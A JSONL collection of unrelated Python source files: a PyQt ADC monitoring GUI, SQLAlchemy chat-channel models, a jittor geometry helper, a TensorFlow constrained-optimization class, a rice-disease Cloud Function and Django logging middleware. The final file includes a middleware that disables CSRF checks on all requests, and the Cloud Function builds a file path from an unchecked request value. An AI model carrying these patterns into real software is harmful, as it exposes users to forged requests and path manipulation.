+{"seq_id":"464080739","text":"from matplotlib.backends.backend_qt5agg import FigureCanvasQTAgg as FigureCanvas\nfrom matplotlib.backends.backend_qt5agg import NavigationToolbar2QT as NavigationToolbar\nimport matplotlib.animation as animation\nfrom typing import *\nfrom PyQt5 import *\nfrom PyQt5 import *\nfrom PyQt5.QtCore    import *\nfrom PyQt5.QtGui     import *\nfrom PyQt5.QtWidgets import *\nfrom matplotlib.figure import Figure\nimport matplotlib.pyplot as plt\nimport random\nfrom random import randint\nimport sys\nimport numpy as np\nimport pyqtgraph as pg\nfrom pyqtgraph import *\nimport time\nimport matplotlib as mpl\n\nfrom controlServer import analysis_utils\nfrom graphicsUtils import mainWindow\n\nclass ADCMonitoringData(QMainWindow):\n\n    def __init__(self, parent=None, interface=None):\n        super(ADCMonitoringData, self).__init__(parent)\n        self.main = mainWindow.MainWindow()        \n        self.n_channels = np.arange(3, 35)\n        self.setObjectName(\"ADCChannels\")\n        self.setWindowTitle(\"ADC Channels\")\n        self.resize(350, 600)  # w*h\n        MainLayout = QGridLayout()\n        # Define a frame for that group\n        plotframe = QFrame(self)\n        plotframe.setLineWidth(0.6)\n        self.setCentralWidget(plotframe)\n        SecondGroupBox = QGroupBox(\"ADC channels\")      \n        SecondGridLayout = QGridLayout()\n        LabelChannel = [self.n_channels[i] for i in np.arange(len(self.n_channels))]\n        self.ChannelBox = [self.n_channels[i] for i in np.arange(len(self.n_channels))]\n        self.trendingButton = [self.n_channels[i] for i in np.arange(len(self.n_channels))]\n        self.adc_channels_reg = self.main.get_adc_channels_reg()\n        dictionary = self.main.get_dictionary_items()\n        self.adc_index = self.main.get_adc_index()\n        self.subIndexItems = list(analysis_utils.get_subindex_yaml(dictionary=dictionary, index=self.adc_index))   \n        for i in np.arange(len(self.n_channels)):\n            LabelChannel[i] = QLabel(\"Channel\", self)\n            LabelChannel[i].setText(\"Ch\" + str(self.n_channels[i]) + \":\")\n            self.ChannelBox[i] = QLineEdit(\"\", self)\n            self.ChannelBox[i].setStyleSheet(\"background-color: white; border: 1px inset black;\")\n            self.ChannelBox[i].setReadOnly(True)\n            LabelChannel[i].setStatusTip('ADC channel %s [index = %s & subIndex = %s]' % (str(self.n_channels[i]), self.adc_index, self.subIndexItems[i + 1]))  # show when move mouse to the icon\n            self.icon = QLabel(self)\n            if self.adc_channels_reg[str(i + 3)] == \"V\":       \n                icon_dir = 'graphicsUtils/icons/icon_voltage.png'\n            else:\n                icon_dir = 'graphicsUtils/icons/icon_thermometer.png'\n            pixmap = QPixmap(icon_dir)\n            self.icon.setPixmap(pixmap.scaled(20, 20))\n            self.trendingButton[i] = QPushButton(\"\")\n            self.trendingButton[i].setIcon(QIcon('graphicsUtils/icons/icon_trend.jpg'))\n            self.trendingButton[i].setStatusTip('Data Trending') \n            self.trendingButton[i].clicked.connect(self.trendWindow)\n            \n            if i < 16:\n                SecondGridLayout.addWidget(self.icon, i, 0)\n                # SecondGridLayout.addWidget(self.trendingButton[i], i, 1)\n                SecondGridLayout.addWidget(LabelChannel[i], i, 2)\n                SecondGridLayout.addWidget(self.ChannelBox[i], i, 3)\n            else:\n                SecondGridLayout.addWidget(self.icon, i - 16, 4)\n                # SecondGridLayout.addWidget(self.trendingButton[i], i-16, 5)\n                SecondGridLayout.addWidget(LabelChannel[i], i - 16, 6)\n                SecondGridLayout.addWidget(self.ChannelBox[i], i - 16 , 7)\n        SecondGroupBox.setLayout(SecondGridLayout) \n        \n        HBox = QHBoxLayout()\n        send_button = QPushButton(\"run\")\n        send_button.setIcon(QIcon('graphicsUtils/icons/icon_start.png'))\n        send_button.clicked.connect(self.initiate_timer)\n\n        stop_button = QPushButton(\"stop\")\n        stop_button.setIcon(QIcon('graphicsUtils/icons/icon_stop.png'))\n        stop_button.clicked.connect(self.stop_timer)\n                \n        close_button = QPushButton(\"close\")\n        close_button.setIcon(QIcon('graphicsUtils/icons/icon_close.jpg'))\n        close_button.clicked.connect(self.close)\n\n        HBox.addWidget(send_button)\n        HBox.addWidget(stop_button)\n        HBox.addWidget(close_button)\n        MainLayout.addWidget(SecondGroupBox , 1, 0)\n        MainLayout.addLayout(HBox , 2, 0)\n        self._createStatusBar(self)\n        plotframe.setLayout(MainLayout) \n        QtCore.QMetaObject.connectSlotsByName(self)\n        # self.update_adc_channels()\n        self.show()\n        \n    def initiate_timer(self, period=10000):\n        self.timer = QtCore.QTimer(self)\n        self.timer.timeout.connect(self.update_adc_channels)\n        self.timer.start(period)\n    \n    def stop_timer(self):\n        self.timer.stop() \n                   \n    def update_adc_channels(self):\n        adc_updated = []\n        for i in np.arange(len(self.n_channels)):\n            self.main.set_index(self.adc_index)\n            self.main.set_subIndex(self.subIndexItems[i + 1])\n            self.main.send_sdo_can()\n            data_point = self.main.get_data_point()\n            adc_updated = np.append(adc_updated, data_point)\n            adc_converted = self.adc_conversion(self.adc_channels_reg[str(i + 3)], adc_updated[i])\n            if adc_converted is not None:\n                self.ChannelBox[i].setText(str(round(adc_converted, 3)))\n            else:\n                self.ChannelBox[i].setText(str(adc_updated[i]))  \n\n    def adc_conversion(self, adc_channels_reg=\"V\", value=None):\n        if value is not None:\n            if adc_channels_reg == \"V\":\n                value = value * 207 * 10e-6 * 40\n            else:\n                value = value * 207 * 10e-6\n        return value\n    \n    def trendWindow(self):\n        self.trend = QMainWindow()\n        self.trendChildWindow(self.trend)\n        self.trend.show()\n    \n    def _createStatusBar(self, childwindow):\n        status = QStatusBar()\n        status.showMessage(\"Ready\")\n        childwindow.setStatusBar(status)\n            \n    def trendChildWindow(self, childWindow):\n        childWindow.setObjectName(\"TrendingWindow\")\n        childWindow.setWindowTitle(\"Trending Window\")\n        childWindow.resize(900, 500)  # w*h\n        logframe = QFrame(self)\n        logframe.setLineWidth(0.6)\n        childWindow.setCentralWidget(logframe)\n        trendLayout = QHBoxLayout()\n        self.WindowGroupBox = QGroupBox(\"\")\n        self.Fig = LiveMonitoringData()\n        self.Fig.setStyleSheet(\"background-color: black;\"\n                                        \"color: black;\"\n                                        \"border-width: 1.5px;\"\n                                        \"border-color: black;\"\n                                        \"margin:0.0px;\"\n                                        # \"border: 1px \"\n                                        \"solid black;\")\n\n        self.distribution = LiveMonitoringDistribution()\n        trendLayout.addWidget(self.distribution)\n        trendLayout.addWidget(self.Fig)\n        \n        self.WindowGroupBox.setLayout(trendLayout)\n        logframe.setLayout(trendLayout) \n\n      \nclass LiveMonitoringData(QtWidgets.QMainWindow):\n    \n    def __init__(self, parent=None):\n        super(LiveMonitoringData, self).__init__(parent)\n        self.compute_initial_figure()\n        self.initiate_timer(period=2000)\n        self.plot_style()\n        self.main = mainWindow.MainWindow()\n        \n    def compute_initial_figure(self):                   \n        self.graphWidget = pg.PlotWidget(background=\"w\")\n        self.setCentralWidget(self.graphWidget)\n        self.x = list(range(100))  # 100 time points\n        self.y = [0 for _ in range(100)]  # 100 data points\n        \n    def plot_style(self):\n        # self.data_line =  self.graphWidget.plot(self.x, self.y, pen=pg.mkPen(color=(255, 0, 0)))\n        # Add Title\n        self.graphWidget.setTitle(\"Online data monitoring\")\n        # Add Axis Labels\n        self.graphWidget.setLabel('left', \"<span style=\\\"color:black; font-size:15px\\\">CAN Data</span>\")\n        self.graphWidget.setLabel('bottom', \"<span style=\\\"color:black; font-size:15px\\\">Time [s]</span>\")\n\n        # Add legend\n        # self.graphWidget.addLegend()\n        # Add grid\n        self.graphWidget.showGrid(x=True, y=True)\n        self.graphWidget.getAxis(\"bottom\").setStyle(tickTextOffset=10)\n        # Set Range\n        # self.graphWidget.setXRange(0, 100, padding=0)\n        # self.graphWidget.setYRange(00, 55, padding=0)\n        return self.graphWidget\n    \n    def initiate_timer(self, period=None):    \n        self.timer = QtCore.QTimer(self)\n        self.timer.timeout.connect(self.update_figure)\n        self.timer.start(period)\n    \n    def stop_timer(self):\n        self.timer.stop()      \n    \n    def update_figure(self):\n        self.data_line = self.graphWidget.plot(self.x, self.y, pen=pg.mkPen(color=(255, 0, 0)))\n        self.x = self.x[1:]  # Remove the first y element.\n        self.x.append(self.x[-1] + 1)  # Add a new value 1 higher than the last.\n        self.main.send_sdo_data()  # to be replaced with send_sdo_can\n        data = self.main.get_data_point()\n        self.y = self.y[1:]  # Remove the first \n        self.y.append(data)  # Add a new random value.\n        self.data_line.setData(self.x, self.y)  # Update the data.\n\n \nclass LiveMonitoringDistribution(FigureCanvas):\n    \n    \"\"\"A canvas that updates itself every second with a new plot.\"\"\"\n\n    def __init__(self, parent=None, period=200, data = None):\n        self.compute_initial_figure()\n        self.main = mainWindow.MainWindow()\n        self.initiate_timer(period=period, data =data)\n        \n    def compute_initial_figure(self):\n        fig = Figure(edgecolor=\"black\", linewidth=\"2.5\")  # , facecolor=\"#e1ddbf\")\n        self.axes = fig.add_subplot(111)\n        FigureCanvas.__init__(self, fig)\n        FigureCanvas.setSizePolicy(self, QSizePolicy.Expanding, QSizePolicy.Expanding), FigureCanvas.updateGeometry(self)\n        self.data =  list(range(2))  # 100 time points\n        self.axes.set_xlabel(r'CAN Data', size=10)\n        self.axes.set_ylabel(r'Counts', size=10) \n        self.axes.grid(True)\n        plt.tight_layout()\n    \n    def initiate_timer(self, period=None, data = None):    \n        self.timer = QtCore.QTimer()\n        self.timer.timeout.connect(lambda: self.update_figure(y = data))\n        self.timer.start(period)\n    \n    def stop_timer(self):\n        self.timer.stop() \n                \n    def update_figure(self, y = None):\n        #self.main.send_sdo_data()  # to be replaced with send_sdo_can\n        #y = self.main.get_data_point()\n        self.data.append(y)\n        # print(len(self.data))\n        hist_data, edges = np.histogram(self.data, bins=np.arange(0, 100, 1))  #\n        x, y = edges[:-1], hist_data\n        self.axes.fill_between(x, y, color='#F5A9BC', label=\"Data\")\n        self.draw()\n\nclass MapMonitoringDynamicCanvas(FigureCanvas):\n    \"\"\"A canvas that updates itself every second with a new plot.\"\"\"\n    def __init__(self, enable_timer = True, parent=None,r = None ,  dpi=100 ,period=None, depth = None, z_delay= None, x_delay=None,size_x =None, size_z = None, directory=None):\n        self.directory = directory\n        self.size_x=size_x\n        self.z=10\n        self.x=10\n        self.x_delay=x_delay\n        self. z_delay = z_delay\n        self.size_z=size_z\n        self.depth = depth\n        self.period = period\n        im , cmap = self.compute_initial_figure(dpi=dpi, z=self.z, x=self.x)\n        self.plot_style(im=im , cmap=cmap,r = r, z=self.z, x=self.x)\n        if enable_timer:\n            self.initiate_timer(period=self.period)\n\n    def compute_initial_figure(self,dpi=None, z=None, x=None, directory= None):\n        fig = Figure(figsize=(z, x), dpi=dpi)\n        self.axes = fig.add_subplot(111)\n        FigureCanvas.__init__(self, fig)\n        FigureCanvas.setSizePolicy(self,QSizePolicy.Expanding,QSizePolicy.Expanding),FigureCanvas.updateGeometry(self)\n        cmap = plt.cm.get_cmap('tab20c')\n        beamspot = np.zeros(shape=(z, x), dtype=np.float64)\n        analysis_utils.save_to_h5(data=beamspot, outname='beamspot_Live.h5', directory=self.directory)\n        im = self.axes.imshow(beamspot, aspect='auto', origin='upper', cmap=cmap)  \n        return im , cmap\n       \n                   \n    def plot_style(self, r = None, z=None, x=None, depth=None, im=None, cmap=plt.cm.get_cmap('viridis', 5)):\n        mid_z = z / 2\n        mid_x = x / 2\n        #self.axes.set_title(\"Beam profile\", fontsize=12, y=1.7, x=-0.6)\n        #self.axes.set_xlabel('x [mm]')\n        #self.axes.set_ylabel('z[mm]')\n        circle = plt.Circle((mid_z-0.5, mid_x-0.5), r, color='red', fill=False)\n        self.axes.add_artist(circle)\n        self.axes.axhline(y=mid_z-0.5, linewidth=0.6, color='#d62728', linestyle='dashed')\n        self.axes.axvline(x=mid_x-0.5, linewidth=0.6, color='#d62728', linestyle='dashed')\n               \n    def initiate_timer(self,period=None):    \n        timer = QtCore.QTimer(self)\n        timer.timeout.connect(self.update_figure)\n        timer.start(period)\n        \n    def update_figure(self): \n        try:    \n            beamspot = analysis_utils.open_h5_file(outname='beamspot_Live.h5', directory=self.directory)\n            #beamspot = analysis_utils.BeamSpotScan().get_beam_spot()\n            #print(beamspot)\n            if beamspot is not None:\n                cmap = plt.cm.get_cmap('tab20c')\n                im = self.axes.imshow(beamspot, aspect='auto', origin='upper', cmap=cmap)\n                self.draw()\n        except IndexError: \n                pass\n            \n        \nif __name__ == '__main__':\n    pass\n","sub_path":"canmops/dataMonitoring.py","file_name":"dataMonitoring.py","file_ext":"py","file_size_in_byte":13826,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"50"}
+{"seq_id":"598233446","text":"\"\"\"Provides classes to do with communication channels.\"\"\"\r\n\r\nimport os.path\r\nfrom sqlalchemy import Column, String, Integer, ForeignKey, DateTime, func\r\nfrom sqlalchemy.orm import relationship\r\nfrom attrs_sqlalchemy import attrs_sqlalchemy\r\nfrom attr import attrs, attrib, Factory\r\nfrom .base import (\r\n    Base, NameMixin, DescriptionMixin, OwnerMixin, CommunicationChannelMixin,\r\n    PermissionsMixin\r\n)\r\nfrom ..sound import get_sound, sounds_dir\r\n\r\n\r\n@attrs\r\nclass UnstoredCommunicationChannelMessage:\r\n    \"\"\"A pretend channel message.\"\"\"\r\n\r\n    channel = attrib(default=Factory(lambda: None))\r\n    text = attrib(default=Factory(lambda: None))\r\n    owner = attrib(default=Factory(lambda: None))\r\n\r\n\r\nclass TransmitionError(Exception):\r\n    \"\"\"There was an error transmitting.\"\"\"\r\n\r\n\r\n@attrs_sqlalchemy\r\nclass CommunicationChannelListener(Base, CommunicationChannelMixin):\r\n    \"\"\"Connects objects to channels.\"\"\"\r\n\r\n    __tablename__ = 'communication_channel_listeners'\r\n    object_id = Column(Integer, ForeignKey('objects.id'), nullable=False)\r\n    channel_id = Column(\r\n        Integer, ForeignKey('communication_channels.id'), nullable=False\r\n        )\r\n\r\n\r\n@attrs_sqlalchemy\r\nclass CommunicationChannelBan(Base, CommunicationChannelMixin):\r\n    \"\"\"Ban someone from a channel.\"\"\"\r\n\r\n    __tablename__ = 'communication_channel_ban'\r\n    object_id = Column(Integer, ForeignKey('objects.id'), nullable=False)\r\n\r\n\r\n@attrs_sqlalchemy\r\nclass CommunicationChannel(\r\n    Base, NameMixin, DescriptionMixin, PermissionsMixin\r\n):\r\n    \"\"\"A communications channel.\"\"\"\r\n\r\n    __tablename__ = 'communication_channels'\r\n    listeners = relationship(\r\n        'Object', secondary=CommunicationChannelListener.__table__,\r\n        backref='communication_channels'\r\n    )\r\n    banned = relationship(\r\n        'Object', secondary=CommunicationChannelBan.__table__,\r\n        backref='banned_channels'\r\n    )\r\n\r\n    def transmit(\r\n        self, who, message, format='{} transmits: \"{}\"', strict=True,\r\n        store=True\r\n    ):\r\n        \"\"\"Send a message on this channel. If strict then perform permission\r\n        checks.\"\"\"\r\n        if strict:\r\n            if who in self.banned:\r\n                raise TransmitionError(\r\n                    'You have been banned from this channel.'\r\n                )\r\n            if self.builder and not who.is_builder:\r\n                raise TransmitionError(\r\n                    'Only builders can transmit on tis channel.'\r\n                )\r\n            if self.admin and not who.is_admin:\r\n                raise TransmitionError(\r\n                    'Only administrators can transmit on tis channel.'\r\n                )\r\n        if store:\r\n            cls = CommunicationChannelMessage\r\n        else:\r\n            cls = UnstoredCommunicationChannelMessage\r\n        m = cls(\r\n            channel=self, owner=who, text=message\r\n        )\r\n        path = os.path.join(\r\n            sounds_dir, 'communication', f'{self.name.lower()}.wav'\r\n        )\r\n        if os.path.isfile(path):\r\n            sound = get_sound(path)\r\n        else:\r\n            sound = None\r\n        for l in self.listeners:\r\n            l.message(\r\n                format.format(\r\n                    m.owner.get_name(l.is_builder or l.is_admin),\r\n                    m.text\r\n                ),\r\n                channel=self.name\r\n            )\r\n            if sound:\r\n                l.sound(sound, private=True)\r\n        if m in self.messages and not store:\r\n            self.messages.remove(m)\r\n        return m\r\n\r\n\r\n@attrs_sqlalchemy\r\nclass CommunicationChannelMessage(Base, OwnerMixin, CommunicationChannelMixin):\r\n    \"\"\"A message to a channel.\"\"\"\r\n\r\n    __tablename__ = 'communication_channel_messages'\r\n    text = Column(String(10000), nullable=False)\r\n    sent = Column(DateTime(timezone=True), nullable=False, default=func.now())\r\n    channel = relationship('CommunicationChannel', backref='messages')\r\n","sub_path":"server/server/db/communication.py","file_name":"communication.py","file_ext":"py","file_size_in_byte":3912,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"50"}
+{"seq_id":"405632351","text":"import math\nimport jittor as jt\n\ndef get_points_from_angles(distance, elevation, azimuth, degrees=True):\n    if isinstance(distance, float) or isinstance(distance, int):\n        if degrees:\n            elevation = math.radians(elevation)\n            azimuth = math.radians(azimuth)\n        return (\n            distance * math.cos(elevation) * math.sin(azimuth),\n            distance * math.sin(elevation),\n            -distance * math.cos(elevation) * math.cos(azimuth))\n    else:\n        if degrees:\n            elevation = math.pi/180. * elevation\n            azimuth = math.pi/180. * azimuth\n    #\n        return jt.contrib.concat([\n            (distance * jt.cos(elevation) * jt.sin(azimuth)).unsqueeze(0),\n            (distance * jt.sin(elevation)).unsqueeze(0),\n            (-distance * jt.cos(elevation) * jt.cos(azimuth)).unsqueeze(0)\n            ], dim=0).transpose(1,0)","sub_path":"jrender/renderer/utils/get_points_from_angles.py","file_name":"get_points_from_angles.py","file_ext":"py","file_size_in_byte":880,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"50"}
+{"seq_id":"643421395","text":"# Copyright 2018 The TensorFlow Constrained Optimization Authors. All Rights\n# Reserved.\n#\n# Licensed under the Apache License, Version 2.0 (the \"License\"); you may not\n# use this file except in compliance with the License. You may obtain a copy of\n# the License at\n#\n#     http://www.apache.org/licenses/LICENSE-2.0\n#\n# Unless required by applicable law or agreed to in writing, software\n# distributed under the License is distributed on an \"AS IS\" BASIS, WITHOUT\n# WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the\n# License for the specific language governing permissions and limitations under\n# the License.\n# ==============================================================================\n\"\"\"Contains the class representing a rate-constraints problem.\n\nA rate constraints problem is constructed as an objective function and set of\nconstraints, all of which are represented as `Expression`s, each of which\nrepresents a linear combination of `Term`s (which represent rates) and\n`Tensor`s.\n\nRates are things like the error rate, the false positive rate, and so on. The\n`RateMinimizationProblem` class defined represents the overall rate-based\noptimization problem, and can be optimized using a `ConstrainedOptimizer`.\n\nExample\n=======\n\nSuppose that \"examples_tensor\" and \"labels_tensor\" are placeholder `Tensor`s\ncontaining training examples and their associated labels, and the \"model\"\nfunction evaluates the model you're trying to train, returning a `Tensor` of\nmodel evaluations. Further suppose that we wish to impose a fairness-style\nconstraint on a protected class (the \"blue\" examples). The following code will\ncreate two contexts (see subsettable_context.py) representing all of the\nexamples, and only the \"blue\" examples, respectively.\n\n>>> ctx = rate_context(model(examples_tensor), labels_tensor)\n>>> blue_ctx = ctx.subset(examples_tensor[:, is_blue_idx])\n\nNow that we have the contexts, we can create the rates. We'll try to minimize\nthe overall error rate, while constraining the true positive rate on the \"blue\"\nclass to be between 90% and 110% of the overall true positive rate:\n\n>>> objective = error_rate(ctx)\n>>> constraints = [\n>>>     true_positive_rate(blue_ctx) >= 0.9 * true_positive_rate(ctx),\n>>>     true_positive_rate(blue_ctx) <= 1.1 * true_positive_rate(ctx)\n>>> ]\n\nThe error_rate() and true_positive_rate() functions are two of the\nrate-constructing functions that are defined rates.py. This objective and\nlist of constraints can then be passed on to the `RateMinimizationProblem`\nconstructor as follows:\n\n>>> problem = RateMinimizationProblem(objective, constraints)\n\nThis problem can then be solved using a `ConstrainedOptimizer`.\n\"\"\"\n\nfrom __future__ import absolute_import\nfrom __future__ import division\nfrom __future__ import print_function\n\nimport tensorflow as tf\nfrom tensorflow_constrained_optimization.python import constrained_minimization_problem\n\nfrom tensorflow_constrained_optimization.python.rates import basic_expression\n\n\nclass RateMinimizationProblem(\n    constrained_minimization_problem.ConstrainedMinimizationProblem):\n  \"\"\"A rate constrained optimization problem.\n\n  In order to optimize a rate constrained problem, you should construct an\n  instance of this class from the objective function that you wish to minimize\n  and the list of constraints you wish to impose. This class implements the\n  `ConstrainedMinimizationProblem` interface, so the resulting object can then\n  be optimized using a `ConstrainedOptimizer`.\n\n  It's important to understand that this object is *stateful*. The denominators\n  of the rates are estimated from running sums over all of the data that have\n  been seen by pre_train_ops (which will be executed at the start of every\n  train_op). Hence, these estimated denominators---upon which the objective,\n  constraints and proxy_constraints `Tensor`s depend---will change from\n  iteration-to-iteration as they converge to their true values. This state can\n  be re-initialized by executing the restart_ops.\n  \"\"\"\n\n  def __init__(self, objective, constraints=None, denominator_lower_bound=1e-3):\n    \"\"\"Creates a rate constrained optimization problem.\n\n    In addition to an objective function to minimize and a list of constraints\n    to satisfy, this method also takes a \"denominator_lower_bound\" parameter. At\n    a high level, a rate is \"the proportion of training examples satisfying some\n    property for which some event occurs, divided by the proportion of training\n    examples satisfying the property\", i.e. is a numerator divided by a\n    denominator. To avoid dividing by zero (or quantities that are close to\n    zero), the \"denomintor_lower_bound\" parameter is used to impose a lower\n    bound on the denominator of a rate. However, this parameter is a last\n    resort. If you're calculating a rate on a small subset of the data (i.e.\n    with a property that is rately true, resulting in a small denominator), then\n    the speed of optimization could suffer greatly: you'd almost certainly be\n    better off splitting the subset of interest off into its own dataset, with\n    its own placeholder tensors.\n\n    Args:\n      objective: an `Expression` to minimize.\n      constraints: a collection of `Constraint`s to impose.\n      denominator_lower_bound: float, the smallest permitted value of the\n        denominator of a rate.\n\n    Raises:\n      ValueError: if the \"penalty\" portion of the objective or a constraint is\n        non-differentiable, or if denominator_lower_bound is negative.\n    \"\"\"\n    # We do permit denominator_lower_bound to be zero. In this case, division by\n    # zero is possible, and it's the user's responsibility to ensure that it\n    # doesn't happen.\n    if denominator_lower_bound < 0.0:\n      raise ValueError(\"denominator lower bound must be nonnegative\")\n    # The objective needs to be differentiable. So do the penalty portions of\n    # the constraints, but we'll check those later.\n    if not objective.penalty_expression.is_differentiable:\n      raise ValueError(\"non-differentiable losses (e.g. the zero-one loss) \"\n                       \"cannot be optimized--they can only be constrained\")\n\n    if constraints is None:\n      constraints = set()\n    else:\n      constraints = set(constraints)\n\n    # We make our own global_step, for keeping track of the denominators. We\n    # don't take one as a parameter since we want complete ownership, to avoid\n    # any shenanigans: it has to start at zero, and be incremented after every\n    # minibatch.\n    global_step = tf.Variable(\n        0, trainable=False, dtype=tf.int64, name=\"global_step\")\n\n    # This evaluation context will remember and re-use certain intermediate\n    # values, causing the TensorFlow graph we construct to contain fewer\n    # redundancies than it would otherwise.\n    evaluation_context = basic_expression.BasicExpression.EvaluationContext(\n        denominator_lower_bound, global_step)\n\n    # We ignore the \"constraint_expression\" field here, since we're not inside a\n    # constraint (this is the objective function).\n    self._objective, pre_train_ops, restart_ops = (\n        objective.penalty_expression.evaluate(evaluation_context))\n    constraints.update(objective.extra_constraints)\n\n    # Evaluating expressions can result in extra constraints being introduced,\n    # so we keep track of constraints that we've already evaluated in\n    # \"checked_constraints\", add new constraints to \"constraints\", and\n    # repeatedly evaluate the contents of constraints - checked_constraints\n    # until none are left.\n    checked_constraints = set()\n    penalty_values = []\n    constraint_values = []\n    while constraints != checked_constraints:\n      new_constraints = constraints - checked_constraints\n      for constraint in new_constraints:\n        if not constraint.expression.penalty_expression.is_differentiable:\n          raise ValueError(\"non-differentiable losses (e.g. the zero-one loss) \"\n                           \"cannot be optimized--they can only be constrained\")\n        penalty_value, penalty_pre_train_ops, penalty_restart_ops = (\n            constraint.expression.penalty_expression.evaluate(\n                evaluation_context))\n        constraint_value, constraint_pre_train_ops, constraint_restart_ops = (\n            constraint.expression.constraint_expression.evaluate(\n                evaluation_context))\n        penalty_values.append(penalty_value)\n        constraint_values.append(constraint_value)\n        pre_train_ops.update(penalty_pre_train_ops)\n        pre_train_ops.update(constraint_pre_train_ops)\n        restart_ops.update(penalty_restart_ops)\n        restart_ops.update(constraint_restart_ops)\n        constraints.update(constraint.expression.extra_constraints)\n      checked_constraints.update(new_constraints)\n\n    self._proxy_constraints = tf.stack(penalty_values)\n    self._constraints = tf.stack(constraint_values)\n\n    # Increment our internal global_step after all of the other pre_train_ops.\n    with tf.control_dependencies(pre_train_ops):\n      self._pre_train_ops = [tf.assign_add(global_step, 1)]\n    # Add an op that re-initializes the global_step to restart_ops.\n    restart_ops.add(tf.assign(global_step, 0))\n    self._restart_ops = list(restart_ops)\n\n  @property\n  def objective(self):\n    \"\"\"Returns the objective function.\n\n    Returns:\n      A scalar `Tensor` that should be minimized.\n    \"\"\"\n    return self._objective\n\n  @property\n  def constraints(self):\n    \"\"\"Returns the `Tensor` of constraint functions.\n\n    The constraints are element-wise non-positivity constraints, i.e. if g_i is\n    the ith element of the constraints `Tensor`, then the ith constraint is g_i\n    <= 0.\n\n    Returns:\n      A rank-1 `Tensor` of constraint functions.\n    \"\"\"\n    return self._constraints\n\n  @property\n  def proxy_constraints(self):\n    \"\"\"Returns the optional `Tensor` of proxy constraint functions.\n\n    The difference between `constraints` and `proxy_constraints` is that the\n    former are used when updating the Lagrange multipliers (or equivalent),\n    while the latter are used for the model update.\n\n    Returns:\n      A rank-1 `Tensor` of proxy constraint functions.\n    \"\"\"\n    return self._proxy_constraints\n\n  @property\n  def pre_train_ops(self):\n    \"\"\"Returns a list of `tf.Operation`s to run at the start of train_op.\n\n    When a constrained optimizer creates a train_op, it will include these ops\n    before the main training step. These ops update internal state that is used\n    to estimate the denominators of rates.\n\n    Returns:\n      A list of `tf.Operation`s.\n    \"\"\"\n    return self._pre_train_ops[:]\n\n  @property\n  def restart_ops(self):\n    \"\"\"Returns a list of `tf.Operation`s that restart the pre_train_ops.\n\n    Executing the pre_train_ops updates the internal state used to keep track of\n    the denominators of the rates. The restart_ops returned by this method can\n    be executed to re-initialize this state, if you want to \"start over\".\n\n    Returns:\n      A list of `tf.Operation`s.\n    \"\"\"\n    return self._restart_ops[:]\n","sub_path":"tensorflow_constrained_optimization/python/rates/rate_minimization_problem.py","file_name":"rate_minimization_problem.py","file_ext":"py","file_size_in_byte":11036,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"50"}
+{"seq_id":"206819223","text":"import numpy as np\nimport os\nfrom tensorflow.keras.models import load_model\nimport json\nfrom google.cloud import storage\nfrom tensorflow.keras.preprocessing.image import load_img, img_to_array\nfrom tensorflow.keras.applications.inception_v3 import preprocess_input\nimport PIL\n\n## Gloabl model variable\ndisease = None\n\ndef disease_prediction(request):\n\n    # Use the global model variable \n    global disease\n\n    params = request.get_json()\n    name = params['images']\n\n    BUCKET_NAME        = \"angkat_tani\"\n    PROJECT_ID         = \"angkat-tani-40404\"\n    IMG                = 'images/'+name\n    model              = 'rice.h5'\n\n    # Initialise a client\n    client   = storage.Client(PROJECT_ID)\n\n    # Create a bucket object for our bucket\n    bucket   = client.get_bucket(BUCKET_NAME)\n\n    # Create a blob object from the filepath\n    blob     = bucket.blob(IMG)\n\n    folder = '/tmp/'\n    if not os.path.exists(folder):\n        os.makedirs(folder)\n    # Download the file to a destination\n\n    blob.download_to_filename(folder + name)\n\n    if not disease:\n        \n        blob = bucket.blob(model)\n        blob.download_to_filename(folder + model)\n        disease = load_model(\"/tmp/rice.h5\")\n\n    img = img_to_array(load_img(folder + name,target_size=(224,224)))/255\n    img = np.expand_dims(img,axis=0)\n    img_data = preprocess_input(img)\n\n    if (params is not None) and ('images' in params):\n        # Run a test prediction\n        preds  = disease.predict(img_data)\n        preds = np.argmax(preds, axis=1)\n        if preds == 0:\n            preds = \"The rice is diseased Brown Spot\"\n        elif preds == 1:\n            preds = \"The rice is Healthy\"\n        elif preds == 2:\n            preds = \"The rice is diseased Hispa\"\n        else:\n            preds = \"The rice is diseased Leaf Blast\"\n        prediction = {\"Predictions\" : preds}\n        return prediction\n    else:\n        prediction ={\"Predictions\" : \"Wrong Input Format\"}\n        return prediction","sub_path":"Cloud Computing/Cloud Functions/Rice Disease Classification.py","file_name":"Rice Disease Classification.py","file_ext":"py","file_size_in_byte":1969,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"50"}
+{"seq_id":"19075226","text":"# -*- coding: utf-8 -*-\nimport time\nimport crp.logger\n\n\nclass LogMiddleware(object):\n    IGNORE_PATH = (\"static.\", )\n\n    def process_request(self, request):\n        self.start_time = time.time()\n        path_name = request.path.strip('/').replace('/', '.')\n        if not path_name:\n            path_name = \"[ROOT]\"\n\n        request.path_name = path_name\n        request.log_args = {}.fromkeys(['v1', 'v2', 'v3',])\n\n    def process_response(self, request, response):\n        if not hasattr(self, 'start_time'):\n            return response\n\n        path_name = request.path_name\n        for ignore in self.IGNORE_PATH:\n            if path_name.startswith(ignore):\n                return response\n\n        end_time = time.time()\n        # 生成日志\n        if path_name.startswith(\"bi.\") and getattr(request, \"user\", None)\\\n                and request.user.is_authenticated():\n            user_id = request.user.id\n        else:\n            if getattr(request, \"uid\", None):\n                user_id = request.uid\n            else:\n                from aws.utilities.usercheck import Usercheck\n                user_id = Usercheck().cookie_userid(request)\n        # 写入日志\n        crp.logger.Logger.log(request, response, user_id,\n                    method = request.method,\n                    action = path_name,\n                    http_code = response.status_code,\n                    exec_time = '%.3f' % (end_time - self.start_time),\n                    args = request.log_args)\n        return response\n\n\nclass DisableCSRFCheck(object):\n    def process_request(self, request):\n        setattr(request, '_dont_enforce_csrf_checks', True)\n\n","sub_path":"crp/middlewares/log_middleware.py","file_name":"log_middleware.py","file_ext":"py","file_size_in_byte":1651,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"50"}
